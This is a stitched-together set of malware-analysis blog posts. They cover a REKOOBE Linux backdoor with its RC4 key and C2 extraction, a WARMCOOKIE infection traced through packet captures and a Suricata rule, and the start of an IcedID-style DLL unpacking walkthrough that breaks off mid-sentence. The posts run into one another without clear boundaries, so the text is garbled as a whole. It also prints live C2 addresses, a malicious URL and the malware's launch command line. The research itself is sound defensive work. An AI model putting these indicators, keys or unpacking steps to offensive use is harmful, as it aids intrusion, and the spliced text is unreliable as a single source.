Reporting suggests this and previous iterations have been used by APT-31 against a variety of victims.

This post will go over both static and dynamic analysis techniques, as well as provide some primitive scripts to automate extracting the C2 details.

The sample for this analysis can be found here and here with the SHA1: 23e0c1854c1a90e94cd1c427c201ecf879b2fa78.

As with previous posts, it might be beneficial to follow along, and hopefully the post is structured in a way that makes that possible.

Output from commands and scripts used for this post can be found in this Github repository.

Static Analysis

The start of any analysis should be to verify what it is that needs analyzing.

Using the file² command, the output shows the target file is a dynamically linked 64-bit ELF executable.

This is a hopeful start as any imported functions should be visible to us, unless the sample is packed.

file rekoobe.elf

rekoobe.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
    interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, 
    BuildID[sha1]=025ab2845d244964abc35fb2cffadf388408fa14, stripped

One additional take-away from the file output is the “GNU/Linux” version that is referenced: 2.6.18.

Whilst compiling code on modern compilers will generally result in older versions being targeted for compatibility reasons, this version is well beyond expected values.

There are at least two reasons for this:

1) The binary was compiled on a very old Linux system.

2) The binary is designed to be deployed on potentially very old Linux systems.

For reference, version 2.6.10 of the Linux kernel was released in 2006³

The output of the strings command also hints this sample was compiled using a version of GCC from 2012⁴.

strings rekoobe.elf

...
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)
...

Before wading into the depths of functions, reviewing the required shared libraries shows that anything imported is pretty standard. No additional functionality in custom shared libraries as is sometimes the case with Windows malware.

readelf -d rekoobe.elf

Dynamic section at offset 0x14028 contains 23 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libutil.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [librt.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
...

I have radare2⁵ installed so will be making use of various tools from the framework. You do not have to use the same tools, any tools for interrogating ELF files should work fine.

Using rabin2 to list the imports, shows that this sample makes use of the execv function, which allows execution of arbitrary system commands.

The output below is truncated, the full output can be viewed here.

In addition to execv, the output also showed execl, recv, setsockopt, bind, and openpty, which all seem a little suspicious. These functions resemble the basis for a backdoor, and certainly should raise some eyebrows.

rabin2 -i rekoobe.elf

[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00401790 GLOBAL FUNC       daemon
2   0x004017a0 GLOBAL FUNC       chmod
3   0x004017b0 GLOBAL FUNC       dup2
4   0x004017c0 GLOBAL FUNC       execv
5   0x004017d0 GLOBAL FUNC       memset
6   0x004017e0 GLOBAL FUNC       setsid
7   0x004017f0 GLOBAL FUNC       shutdown
...

You shouldn’t take my word for it either!

Rather than going through every imported function and reading the documentation, Capa⁶ provides a nice way to scan for functionality of binaries.

./capa ./rekoobe.elf

Figure 1: Capa output for Rekoobe sample.

The output in Figure 1 shows Remote Access::Reverse Shell, which pretty much sums it up, case closed.

The Capa output shows that there are references to RC4 and AES encryption routines, which might be interesting to take a look into. The full output from Capa can be found here.

Let’s start exploring the binary in a disassembler.

The main symbol is exported so should be quickly identifiable in other tools such as Ghidra⁷ or IDA.

The following command will print dissasembly located at the main function.

r2 -AA -q -c 'pdf @ main;' rekoobe.elf

Figure 2: Radare2 main routine.

The output shows that the process first calls the imported symbol daemon, allowing the execution to continue in the background. A function labeled fcn.00404568 is called, and the return value in EAX is checked before calling another function labeled fcn.00404415.

Static Analysis: fcn.00404568

Starting with fcn.00404568 the command below prints the first 27 instructions of the function. Why 27? Because it looked nice in the screen shot.

r2 -AA -q -c 'pd 27 @ fcn.00404568' rekoobe.elf

Figure 3: Radare2 fcn.00404568 disassembly.

Starting at 0x0040459c, there is a sequence of 8 mov byte instructions. The 8 bytes are ASCII characters depicted as shown:

The \0 (NULL) byte terminates the character array.

0x72 = r
0x30 = 0
0x73 = s
0x74 = t
0x40 = @
0x23 = #
0x24 = $
0x00 = '\0' 

Following the mov byte instructions there is then a value comparison with a byte located at 0x00614740 located in the .data section of the ELF file.

If the value is set to 0, then the je, jumps to the end of the function before returning.

This value turns out to be quite important later on…

The Capa output told us there was stack strings in use, and this is one of them. At this stage it is not important what this string is used for, however if there are more, it would be nice to recover them.

I created a script to recover these strings, which you can view here The output shown is truncated. A copy of the full output can be viewed here

python3 ./recover_stack_strings.py ./rekoobe.elf

%02x
%02X
r0st@#$
/etc//etc/issue.net
/etc/issue
/proc/ve/etc/issue.net
/etc/issue
/proc/version
r.
/
.
/
%s/%s
.
..
rb
a+b
a+b
/usr/usr/include/sdfwex.h
/tmp/.l
...

Whilst the output is far from perfect and not production ready, you can see it located the r0st@#$ string correctly, as well as some interesting file paths.

Continuing on, a WORD (2 bytes) is read from 0x00614741 into EDX with the value of 12.

Figure 4: Radare2 size parameter read.

Zooming out, shows the use of this parameter more clearly.

A memory address 0x614743 is stored into ESI, before both are passed into memcpy, to copy 12 bytes from the location stored in ESI into a buffer labeled s1.

After the memcpy function returns the stack string we recovered earlier located at [var_1860h], the value 12 and the address of the s1 buffer as passed to a function called fcn.00402af9.

Figure 5: Radare2 string operations.

Static Analysis: fcn.00402af9

The functionality of fcn.00402af9 is an implementation of the RC4⁸ cipher.

The parameters passed to fcn.00402af9, are shown in the function prototype.

void fcn.00402af9(
  char    *buffer,
  int64_t length,
  char    *key
)

The buffer contains the ciphered data on input, and on output contains the original clear-text data.

The length contains the length of the data stored in the buffer, as \0 (NULL) bytes will not be used to terminate the data.

Finally, the key, in this call is the r0st@#$ string.

We can quickly test this out taking the various inputs and using the RC4 CyberChef recipe.

First extract the 12 input bytes from 0x614743.

r2 -AA -q -c 'px0 12 @ 0x614743' rekoobe.elf

553c5fffec8a52c936c8d902

Figure 6: CyberChef RC4

As the RC4 code was its own function, we can find cross-references to this routine to locate more values being decrypted that might be useful in later analysis.

The axt command shows there are 10 calls to this RC4 function, which are worthy of further exploration.

r2 -AA -q -c 'axt @ 0x00402af9;' rekoobe.elf

fcn.0040225c 0x4022d3 [CALL:--x] call fcn.00402af9
fcn.00404568 0x40461f [CALL:--x] call fcn.00402af9
fcn.00404b27 0x404dc8 [CALL:--x] call fcn.00402af9
fcn.00404b27 0x404ea4 [CALL:--x] call fcn.00402af9
fcn.00404f06 0x405130 [CALL:--x] call fcn.00402af9
fcn.00404f06 0x40525d [CALL:--x] call fcn.00402af9
fcn.0040ba91 0x40bad4 [CALL:--x] call fcn.00402af9
fcn.0040ba91 0x40bb10 [CALL:--x] call fcn.00402af9
fcn.0040bbe3 0x40bc5e [CALL:--x] call fcn.00402af9
fcn.0040bbe3 0x40bcf2 [CALL:--x] call fcn.00402af9

Static Analysis: fcn.00404568 (continued)

Returning (pun intended) back to fcn.00404568, we now have a decrypted string:

/usr/bin/ssh

Figure 6 shows a call to strcpy (0x0040467f), which shows the value stored in RBP moved into RSI as the source of the string copy operation. The screen shot shows that RBP contains the buffer address used to decrypt the string using the RC4 decryption routine.

Figure 6: Radare2 string operations.

Using the Ghidra plugin⁹ for Radare2 with the command pdga, Figure 7 shows the destination more clearly, as *param_1.

Figure 7: Radare2 Ghidra disassemble .

Going back to see what was passed into this function shown in Figure 8, we see from main that argv is the only parameter supplied (0x00404971).

Figure 8: Radare2 call fcn.00404568 .

Overwriting argv will for all intents and purposes alter the process name, allowing the process to avoid detection. When executed, this process will appear to be named /usr/bin/ssh, when commands such as ps and top are used to inspect the system.

This function contains more capabilities to copy and rename itself based on the value that is checked, however in this sample, it returns to main setting the return code to 1 which allows execution to continue into fcn.00404415 shown in Figure 8.

Static Analysis: fcn.0040225c

From the main function, fcn.00404415 is called which performs some value checks before calling fcn.0040225c.

The start of the function builds the same stack string r0st@#$ as previously seen, and calls the same RC4 wrapper. The input length is stored at 0x6144e0 and contains decimal 42.

The 42 bytes of input is located at 0x6144e2, again in the .data section.

Figure 9: Radare2 decrypt configuration.

The following command will extract the hexadecimal stream to be decrypted.

r2 -AA -q -c 'px0 42 @ 0x6144e2' rekoobe.elf

42671ebcfbc60295378a98593b13a7e9721f03aac47781891b5f10926882a5239c6d961129b3d32ca620

Using the same CyberChef recipe as before, it shows an IPv4 address and port, as well as some binary flag values.

Figure 10: CyberChef decrypt configuration.

There are 4 sections in this configuration, delimited by | values. These sections are identified using the strstr function by the malware.

Configurations options are then further split using ;, before being parsed using strtol to convert the string values “1” to a long integer.

Static Analysis: fcn.00401db4

Before heading into some dynamic analysis, I thought it was worth highlighting the function fcn.00401db4.

The script to recover the stack strings highlighted some interesting file paths common on Linux systems. This function is where they reside and it responsible for collecting information regarding the infected system.

The stack strings, reveal the following file paths:

• /etc/issue.net
• /etc/issue
• /proc/version

First /etc/issue.net is passed to fopen and if that fails then /etc/issue is opened. The procfs file /proc/version is opened and strstr us used to locate the value x86_64, which determines the host architecture.

A call to gethostname is fairly self explanatory, gathering the hostname.

A call to getifaddrs returns a structure containing a linked-list, which is traversed gathering the IP address from each network interface.

Dynamic Analysis

From the static analysis, the command and control IPv4 was determined. Unfortunately at the time of analysis no response on the provided port was returned.

To see how the sample would have interacted with the server, we need to provide a route to the IP address: 8.218.92[.]123.

This can be achieved using the lo loopback interface as shown.

sudo ip addr add 8.218.92[.]123 dev lo

Once the IP address has been added, a nc netcat listener can be setup on the required port.

nc -l -p 9987 > output.bin

Using the ltrace¹⁰ program, it is possible to trace the library calls of this dynamically linked executable, saving the output into the ltrace.out file. A copy of the full output can be found here

ltrace -fbS -o ltrace.out ./rekoobe.elf

Figure 11 shows the output of ltrace revealing the configuration strings.

Figure 11: ltrace decrypt configuration.

Figure 12 shows the various files being opened to gather information regarding the host. It also shows a call to the socket and bind functions, indicating a listing port being established.

Figure 12: ltrace decrypt configuration.

The dynamic analysis confirms the findings from the static analysis.

In a slightly modified lab setup, I was able to capture the network communications between the malware and the C2 server.

The PCAP file is available here, and shows that 548 bytes were sent over the TCP socket. The data in both directions is binary data, rather than encapsulated in HTTP.

Configuration Extraction

From the analysis performed, both the process name and configuration string were stored in the .data section.

Using radare2, locating the .data virtual address, and printing the hexdump shows the encrypted strings.

iS~.data

s 0x006144c0

pxs 810

Figure 13: Radare2 .data section hex dump.

Using this information, I have developed a configuration extractor which can be found here

Executing the script, and providing the RC4 key outputs JSON document containing the C2 details.

python3 ./rekoobe_config.py rekoobe.elf r0st@#$

{
    "c2": "8.218.92.123:9987",
    "flags": {
        "unknown_0": 1,
        "unknown_1": 1,
        "unknown_2": 1,
        "unknown_3": 1,
        "unknown_4": 1,
        "unknown_5": 1,
        "unknown_6": 1
    },
    "hours": "00-24",
    "process_change": 1,
    "process_name": "/usr/bin/ssh",
    "unknown": 1
}

Conclusion

In this post we have explored the initial workings of the REKOOBE backdoor, identifying how the command and control details are retrieved and shown a Python script to extract the details.

There is more to this sample, however the internals of this backdoor have been researched in prior work. Some notable research from AhnLab and hunt.io among others.

If you enjoyed reading or learnt something new, let me know!

You can find me on Twitter (currently known as X) as well as BlueSky.

Until next time, keep evolving.

techevo

References

As with previous posts, so grab the PCAP and follow along!

Summary

For those that want to shortcut the process, here is a brief summary and details of TTP’s mapped to the MITRE ATT&CK^® Framework.

• A zip archive containing a JavaScript file was downloaded by the user using a web browser.
• Executing the JavaScript file downloaded a second stage DLL file.
• The DLL is executed and a HTTP command and control channel is established.
• Regular beaconing of HTTP requests are then seen to the C2 IPv4 address 72.5.43[.]29.

MITRE TTP’s

IOC’s

Domain

• quote[.]checkfedexexp[.]com (CloudFlare Hosted)
• business[.]checkfedexexp[.]com (CloudFlare Hosted)
• checking-bots[.]site (hosted on 72.5.43[.]29)

IPv4

• 72.5.43[.]29

Files

• Invoice 876597035_003.zip
  • MD5: 180f63b858ec220fcce837e11bc1dbec
  • SHA1: 79f764b23b9767a10cc21b9798b233d97726b236
  • SHA256: 798563fcf7600f7ef1a35996291a9dfb5f9902733404dd499e2e736ea1dc6fc5
    
• Invoice-876597035-003-8331775-8334138.js
  • MD5: f43a0279183cf2c0eec72397251878d4
  • SHA1: 2d81f6cfb49f992494b78bfe82fa142c5004a554
  • SHA256: dab98819d1d7677a60f5d06be210d45b74ae5fd8cf0c24ec1b3766e25ce6dc2c
    
• DLL File
  • MD5: 59b7b8d29252a9128536fbd08d24375f
  • SHA1: 7221b9125608a54f9dd706166f936c16ee23164a
  • SHA256: b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6

Analysis

This incident briefing contained a PCAP file and a set of alerts generated from Suricata¹ shown below in Figure 1.

Figure 1: Suricata Alerts

As with any incident investigation, we’ll start with a triage workflow.

A quick glance at the alerts highlighted in Figure 2, shows they were generated in responses from 72.5.43[.]29 back to 10.8.15[.]133 over HTTP traffic on port 80.

Figure 2: Suricata Alerts HTTP port 80

We can summarize the detected activity highlighted in green as:

The server 72.5.43[.]29 responded with a small (< 1MB) DLL file to a request made by 10.8.15[.]133.

Using the destination details from the alert, as shown in the Wireshark filter below, you can see the originating client HTTP request.

http and ip.src == 10.8.15.133 and tcp.srcport == 49810

Figure 3: Wireshark HTTP Requests

Figure 3 shows two HTTP requests were sent to the server 72.5.43[.]29.

The first request is a HEAD request, used to retrieve the headers that are then subsequently sent with the following GET request.

Following the HTTP stream, it shows the requested resource location (/data/0f60a3e7baecf2748b1c8183ed37d1e4) as well as the User-Agent string Microsoft BITS/7.8 indicating that the BITS protocol was used.

In the reply, we can see a status of 200 OK and a value 159232 referring to the resource size in bytes.

Figure 4: Wireshark HTTP HEAD Request

Figure 5 shows the GET request and response, which contains an MZ header and the common DOS stub: This program cannot be run in DOS mode.

Figure 5: Wireshark HTTP GET Request

Exporting the packet bytes using the Wireshark interface, you should end up with a file with the SHA1: 7221b9125608a54f9dd706166f936c16ee23164a.

The extracted file can also be located on MalwareBazaar here. Without taking too much of a byte out of the payload we can see from the output of the file ² command that it is a 64-bit DLL file.

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Based on the behavioural pattern of HEAD and GET requests, along with the BITS User-Agent, we can be fairly confident that bitsadmin.exe or Start-BitsTransfer was executed on the endpoint, something that can be used to pivot into any EDR telemetry.

So far we have uncovered a victim and an IPv4 address which was used to retrieve a DLL file.

Infection Vector

As we don’t have the luxury of also having access to endpoint telemetry, we have to hunt for earlier stages of the infection chain in what we do have.

In order to do that we can widen our scope, using the Statistics > HTTP > Requests option, you can see additional destinations for HTTP traffic.

Figure 6: Wireshark All HTTP Request

We’ve already briefly explored 72.5.43[.]29. The domain www.msftconnecttest[.]com, two microsoft[.]com domains, and an adobe[.]com do not raise too much suspicion, and are known legitimate domains.

Note: The IPv4 address 239.255.255[.]250 is a multicast address and is nothing to be concerned with³.

That leaves one outlier, the host quote.checkfedexexp[.]com, which can be filtered for using the below Wireshark filter expression.

http.host == quote.checkfedexexp.com

Following the HTTP stream, we can see all the protocol data, shown in Figure 7.

Figure 7: Wireshark HTTP Invoice Zip

The HTTP headers show that the resource accessed is named Invoice 876597035_003.zip and is being served by a CloudFlare hosted domain. The PK header in the data stream confirms this is a Zip archive.

The request was also made by a process using the User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 which is in fact a legitimate Microsoft Edge client. We could hypothesise then that the user was sent this URL vie means such as email and search for phishing emails wider within an organization.

Extracting these packet bytes provides a Zip archive with the SHA1: 79f764b23b9767a10cc21b9798b233d97726b236, also available on MalwareBazaar here.

Listing the archive contents, shows some interesting information. The first item of interest of the single file contents being a .js (JavaScript) file, secondly is the Date this file was last modified, which gives some nice context into how long a campaign or delivery mechanism has existed for regarding this malware and or actor (a tiny piece in the puzzle at least).

$ unzip -l 'Invoice 876597035_003.zip'

Archive:  Invoice 876597035_003.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  6990020  2024-06-08 08:45   Invoice-876597035-003-8331775-8334138.js
---------                     -------
  6990020                     1 file

Thankfully the Zip archive is not password protected and you can extract the file Invoice-876597035-003-8331775-8334138.js which has a SHA1: 2d81f6cfb49f992494b78bfe82fa142c5004a554 and is available on MalwareBazaar here.

It’s safe to say a user would likely Double-Click the JavaScript file which would by default cause Windows to launch wscript.exe passing the script as an argument. This provides another good theory on how we can search EDR telemetry for phases of this infection chain.

Opening the file Invoice-876597035-003-8331775-8334138.js, it becomes immediately clear there is a lot of obfuscation and junk data in this script.

This Javascript file was also uploaded to Any.Run. There is a lot of information here to digest, however one thing to note is the results of the DNS requests made shown in Figure 8.

Figure 8: AnyRun Sandbox analysis

The domain of interest is business.checkfedexexp[.]com, which is another host on a domain we observed in the early stages of this infection chain. Although the sandbox was not able to resolve the IP address, we can use the filter below to show the DNS related data in Wireshark.

dns.qry.name == business.checkfedexexp.com and dns.a

Figure 9: Wireshark DNS answers

The results from the PCAP show that this domain resolved to 172.67.170[.]159 and 104.21.55[.]70 at the time of the capture, both of which are managed by CloudFlare.

Taking a quick look at the obfuscated JavaScript file shows that the domain business.checkfedexexp[.]com and the URI are not so heavily obfuscated. Using a simple grep command, we can manually piece it back together.

grep -F -e "business.checkfedexexp.com" Invoice-876597035-003-8331775-8334138.js 

Figure 10: Grep obfuscated Javascript

hxxps[:]//business[.]checkfedexexp[.]com/data-privacyzj=ZzqRKxVRQ&pOd=GEokiOXFwH&sourcedp=tQMQJlIo&Tfocontent=IxGTZjXqxJ&Jr_cid=9464552&L=8174388

I attempted to de-obfuscate using the AMSI⁴ tracing mechanism, outlined by “JustAnother-Engineer” on their post titled Windows Security: Using AMSI to Analyze Malicious JavaScript, however I did not have much luck. It was an interesting technique that might be useful in other scripts so I thought it was worth sharing.

Whilst the sandbox does not show the network connection, likely due to resolution issues, we can see there was a network connection following the DNS answer to one of the IP addresses 172.67.170[.]159 using a secure TLS connection. Due to the secure wrapping on the connection we cannot see the underlying HTTP requests and any responses.

You can see this combination of events in the PCAP using the following Wireshark filter, and the results in Figure 11.

ip.dst == 172.67.170.159 or dns.a == 172.67.170.159 and !icmp

Figure 11: Wireshark DNS and TLS connection to C2

We also cannot determine entirely from the evidence we have in the PCAP how the execution proceeds. For this I recommend checking out a blog from Elastic, titled Dipping Into Danger, which shows the same~ish infection chain from an EDR perspective.

We identified earlier that BITS was used to retrieve a DLL file, and this aligns with the reporting from Elastic.

Reviewing the Any.Run sandbox report on the DLL file, we can see that there is execution of rundll32.exe from a scheduled job, which from the blog by Elastic we know is setup by the malware.

Figure 13: At job DLL execution

The rundll32.exe process communicates with an IPv4 address 72.5.43[.]29:80, which also triggered an alert in the Suricata IDS, shown in blue in Figure 14.

Figure 14: Suricata Alerts HTTP

In summary this activity can be described as follows:

The client 10.8.15[.]133 made a HTTP POST request directly to an IPv4 address rather than a domain to the server 72.5.43[.]29 with an unusual web browser.

Taking a closer look at the request that triggered the alert, we can see there was a HTTP POST request made and was detected by the following rule.

ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1

In order to understand this alert more, it may be helpful to see its implementation. This detection rule is part of the Suricata Emerging Threats set, which can be downloaded from here.

The implementation of the rule in question is shown below.

alert http  $HOME_NET any -> $EXTERNAL_NET any (msg:"ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1"; 
flow:established,to_server; content:"POST"; http_method; content:" MSIE "; nocase; http_user_agent; fast_pattern; content:!"Accept-Encoding|3a|"; 
http_header; content:!"Referer|3a|"; 
http_header; content:!"X-Requested-With|3a 20|"; 
http_header; nocase; content:!"Windows Live Messenger"; 
http_header; content:!"MS Web Services Client Protocol"; 
http_header; pcre:"/^Host\x3a\s*?\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?:\x3a|\r?\n)/Hmi"; 
content:"|0d 0a 0d 0a|"; 
content:!"grooveDNS"; depth:20; http_client_body; classtype:bad-unknown; sid:2018358; rev:4;)

Let’s take a look at the packet that generated this alert by opening up the PCAP file in Wireshark, and applying this filter:

http and http.request.method == POST and ip.dst == 72.5.43.29 and tcp.srcport == 49818

Figure 15: HTTP POST Request from rundll32.exe

The Suricata alert matches on the token MSIE as well as the Host parameter containing an IPv4 address.

If we search for the User-Agent string in Google, we only receive a handful of results. One interesting page returned is for a sandbox report from www.joesandbox.com. Pivoting on the MD5 hash of this sandbox report, we can find some attribution that this is in fact a WARMCOOKIE sample.

Use the Wireshark filter below to widen the filter for the HTTP traffic to 72.5.43[.]29.

http and ip.dst == 72.5.43.29

Following the download of the DLL file, the same IPv4 address is then the destination of further HTTP traffic, shown in Figure 16. The traffic begins with a GET to the document root /, with the server returning a 200 OK response and 32 bytes of data.

0000   af a5 39 e1 ae 05 69 ab b7 56 35 f4 66 c1 a6 e0   ..9...i..V5.f...
0010   78 26 73 32 9b 6e b3 1b e5 a1 a7 e7 9e f5 36 22   x&s2.n........6"

Figure 16: Wireshark HTTP Command and Control

Immediately the server response is followed by the client sending a POST request containing 124 bytes, resulting in the server response 400 Bad Request, and some HTML.

0000   49 29 b4 13 b4 13 86 56 a5 b1 eb e6 64 c1 a6 e0   I).....V....d...
0010   7b 26 73 32 9b 6e b3 1b ca a1 a7 e7 8f f5 36 22   {&s2.n........6"
0020   5c fb 00 56 fe 3e 8d e0 c3 37 d9 5f dd d0 e1 b8   \..V.>...7._....
0030   1e 8e bd 75 b8 11 97 df 95 c1 e3 36 27 f0 9c 8f   ...u.......6'...
0040   9c 10 ec 74 6a a4 13 e9 c8 ec c6 61 56 e6 b7 2d   ...tj......aV..-
0050   b2 fe f8 7b 4b cc 17 10 97 63 0c 75 81 a2 97 71   ...{K....c.u...q
0060   14 dc 0c d9 91 1f aa f1 7c ff 9b 8f 1b f7 b0 28   ........|......(
0070   f6 26 93 25 20 f9 03 5b 4a ee 38 11               .&.% ..[J.8.

Figure 17 shows a higher level overview of the communication to the C2 IPv4 address.

Figure 17: Wireshark HTTP Command and Control

Command and Control Infrastructure

Whilst the data traversing the HTTP sequences does not contain any indications of its contents, we can take a closer look at the C2 infrastructure.

Using shodan.io, it shows the same response was returned to the scanning bot, as you see in the PCAP.

Figure 18: Google Web crawler Cache of C2 Domain

Pivoting on the http.html_hash value we see this is highly likely running an NGINX web server, as shown in the report here

http.html_hash:-63667798

Figure 19: Shodan Report

It appears this HTML page is very common and contains no unique values we could use to track the infrastructure further. The Shodan report on the C2 IPv4 address list various details, including a domain we have not seen in the PCAP: checking-bots[.]site.

Figure 20: Shodan C2 IPv4 Details

Google very helpfully stores and makes available cache information when its crawlers visit domains. If we take a look at the results for this domain, Figure 21 shows that at some stage a Python Flask web application was in use. This can be, and is commonly used alongside NGINX to provide a dynamic server side application.

Whilst this is not a smoking gun of any custom C2 infrastructure, it may or may not provide some insight into the C2 back-end.

Figure 21: Google Web crawler Cache of C2 Domain

Conclusion

In this post we walked through how to triage and pivot on the infection chain for WARMCOOKIE, working backwards to the initial access all the way through to identifying the final command and control channel and profiling the attackers infrastructure.

If you enjoyed this post, pleas feel free to let me know either on twitter or various Discord servers.

@techevo_

References

This is part 3 in the series, you can check out part 1 and part 2 to follow along from the beginning.

This post will focus on analysing a DLL file that was downloaded using a PowerShell script analysed in previously in part 2.

The data for this case was published by @malware_traffic over at Malware Traffic Analysis¹. You can download all the samples from this case from here.

This analysis has really stretched my learning regarding unpacking, it has by far been the most challenging and rewarding sample I’ve come across to date. If there are any errors that you spot, I’d really welcome the feedback to understand better how this sample works.

In order to make this walk through as accessible as possible, I will once again be storing artefacts and output in a GitHub repository here.

The GitHub repository contains the extracted shellcode as seen in the various commands for your own experimentation, as well as the final payload.

TL;DR

This post is fairly detailed and as a result quite long. A quick overview of how the sample executes is listed below to provide some quick insight. If you want a more guided tour of the execution and other interesting observations, skip this section.

1. rundll32.exe executes a export on the dll.

2. The DLL routine allocates some memory and copies and unpacks data into shellcode from the .reloc section of the DLL.

3. The unpacking consists of a 4 byte XOR as well as the supplied string on the command line, for various stages.

4. The unpacked shellcode is patched with function addresses and creates some syscall stubs to avoid ntdll.dll hooks.

5. The rundll32.exe process opens svchost.exe and injects a payload using shared mapped views of sections and NtQueueUserThread

6. The svchost.exe process further unpacks a PE file which is then injected into memory at a fixed location.

7. The injected payload is then executed.

8. The final payload can be downloaded from the Bazaar or GitHub

In the previous post, a PowerShell script was used to download a DLL named r.dll from a compromised WordPress instance.

Part of the script appended varying amounts of bytes to the file, ensuring the cryptographic hash changes with each download. You can find a copy of the DLL file on the Malware Bazaar, here The SHA1 hash for the copy we will be looking at in this post is: 1c6e76af95f2a17b8e518965d62b3c9d7ecba6d5

For this explanation of the malware delivery, both static and dynamic analysis will be used in conjunction.

For static analysis I am using radare2² and for dynamic analysis x64dbg³ both are freely available.

Binary File Triage

From the Powershell script we know there must be an export named vcab, we can use a radare2 one-liner to show the various exports.

$ r2 -c 'iE' r.dll

[Exports]
nth paddr      vaddr        bind   type size lib             name                               demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00000420 0x814e361020 GLOBAL FUNC 0    msys-edit-0.dll t_gcc_deregister_frame
2   0x00000400 0x814e361000 GLOBAL FUNC 0    msys-edit-0.dll t_gcc_register_frame
3   0x000151e0 0x814e375de0 GLOBAL FUNC 0    msys-edit-0.dll tel_fn_complete
4   0x000192c0 0x814e379ec0 GLOBAL FUNC 0    msys-edit-0.dll trl_abort_internal
5   0x00026338 0x814e38a138 GLOBAL FUNC 0    msys-edit-0.dll trl_print_completions_horizontally
6   0x000192f0 0x814e379ef0 GLOBAL FUNC 0    msys-edit-0.dll trl_qsort_string_compare
7   0x00016bf0 0x814e3777f0 GLOBAL FUNC 0    msys-edit-0.dll tdd_history
8   0x000169a0 0x814e3775a0 GLOBAL FUNC 0    msys-edit-0.dll tppend_history
9   0x00000880 0x814e361480 GLOBAL FUNC 0    msys-edit-0.dll t__next_word
10  0x00000800 0x814e361400 GLOBAL FUNC 0    msys-edit-0.dll t__prev_word

[ TRUNCATED ]

152 0x000177a0 0x814e3783a0 GLOBAL FUNC 0    msys-edit-0.dll tistory_expand

[ TRUNCATED ]

430 0x00016fb0 0x814e377bb0 GLOBAL FUNC 0    msys-edit-0.dll there_history
431 0x000177a0 0x814e3783a0 GLOBAL FUNC 0    msys-edit-0.dll vcab

The above output is truncated, however you can see there are 431 exports on this DLL. The final export listed is the vcab export we already know about. You can find a full output of the command in the GitHub repository for this blog posts, here.

As well as the export names, the virtual addresses are also quite interesting. Looking at the export tistory_expand, ordinal 152, we can see it has the same virtual address as the vcab export.

Given the large amount of exports I believe this is likely a legitimate DLL file that has been modified with some additional functionality. Searching for the DLL name msys-edit-0.dll also shows this is possibly related to the msys2 project.

Since we’ve looked at Exports, lets look at Imports, using the following command.

$ r2 -c 'ii' r.dll

[Imports]
nth vaddr        bind type lib          name
――――――――――――――――――――――――――――――――――――――――――――
1   0x814e391860 NONE FUNC KERNEL32.dll GetModuleHandleA

One import is not a lot to go off for understanding the functionality. The lack of imports is also quite suspicious, and something that indicates this DLL should be investigated further.

Statically analysing the DLL functions proved a little harder than expected. Forcing Ghidra to decompile the bytes was possible, but readability was not amazing.

To explore this sample further, I will be combining both static and dynamic analysis techniques.

Debugger Setup

For the dynamic analysis parts of this you will require some working knowledge of x64dbg. Primarily around setting breakpoints, although the commands are provided, just knowing what a breakpoint is and how to set it should be enough. If something isn’t clear feel free to reach out and ask!

As well as the vcab entry point being supplied on the command line, a flag /k and string parameter were also provided as shown below.

rundll32 r.dll, vcab /k chokopai723

To look into the execution of the DLL I’ll be using x64dbg. It is possible to use the x64dbg DLL host binary, however for this analysis, debugging will be done with rundll32.exe executable in order to mimic the execution environment precisely.

Once you have opened the binary C:\Windows\System32\rundll32.exe with x64dbg change the command line to include the additional parameters as shown in Figure 1.

Figure 1: x64dbg - Additional command line parameters.

I find it helpful when analysing a new sample to setup breakpoints on DLL loads, which helpfully is a built in feature.

Navigating to Options and then Preferences you can enable the settings User DLL Load and System DLL Load.

Execute until the r.dll is loaded and then issuing the following command in will set a breakpoint on the vcab entry point.

bp r.vcab 

We should also set some breakpoints for interesting API calls before starting, using the following commands. These API’s specifically have been selected because VirtualAlloc is common in packed samples to aid in unpacking, and since the number of Imports was limited to a single Kernel32.dll library, there is a chance the sample will attempt to load more modules manually.

bp VirtualAlloc
bp LoadLibraryA

Command Line Validity Check

The first routine to highlight during this walk through is a check that the /k was supplied on the command line. Setting a breakpoint at 0x814e378887 and viewing the sample statically we can see the ASCII characters 0x6B and 0x2F being moved into a memory region, as shown in Figure 2.

Figure 2: radare2 - r.dll command line check routine.

An instruction at 0x0814E378AAB then copies these two bytes into the RDX register. The command line string is then iterated over scanning for the /k flag being present. If its not then the execution flow exits.

Memory Copy Routine

The next routine of interest is located at virtual address 0x0814E378B26.

This routine is used throughout this portion of the loader to essentially move bytes from one location to another, much like the memcpy⁴ function.

The function prototype for memcpy is shown below, and this is also used by the routine within the sample.

In x86_64 assembly the registers RCX, RDX and R8 are used to store the destination , source and count (size) parameters.

void *memcpy(
   void *dest,
   const void *src,
   size_t count
);

Although the function is located at 0x0814E378B26, the primary loop that moves data between source and destination can be seen at 0x814E378B71. The disassembly for this routine is shown in Figure 3 below. The register RDX is used as an index to then increment as it loops through the bytes being copied.

Figure 3: radare2 - IcedId memcpy shellcode routine.

Setting a breakpoint at 0x0814E378B26 will allow us to inspect the various bytes being moved around.

bp 0x0814E378B26

If we allow execution until the memory copy routine breakpoint, we first see a call to copy the string chokopai723 from one area on the stack to another stack based memory location.

Figure 4 shows the source address 0x0F340F0F44A, destination 0x0F340F0F5B0 and the number of bytes 0xB

Figure 4: x64dbg - Memory copy routine register usage

Allowing the execution to proceed, the debugger will break at a call to VirtualAlloc⁵. If we examine the supplied parameters we can mock-up a call to VirtualAlloc with the following values.

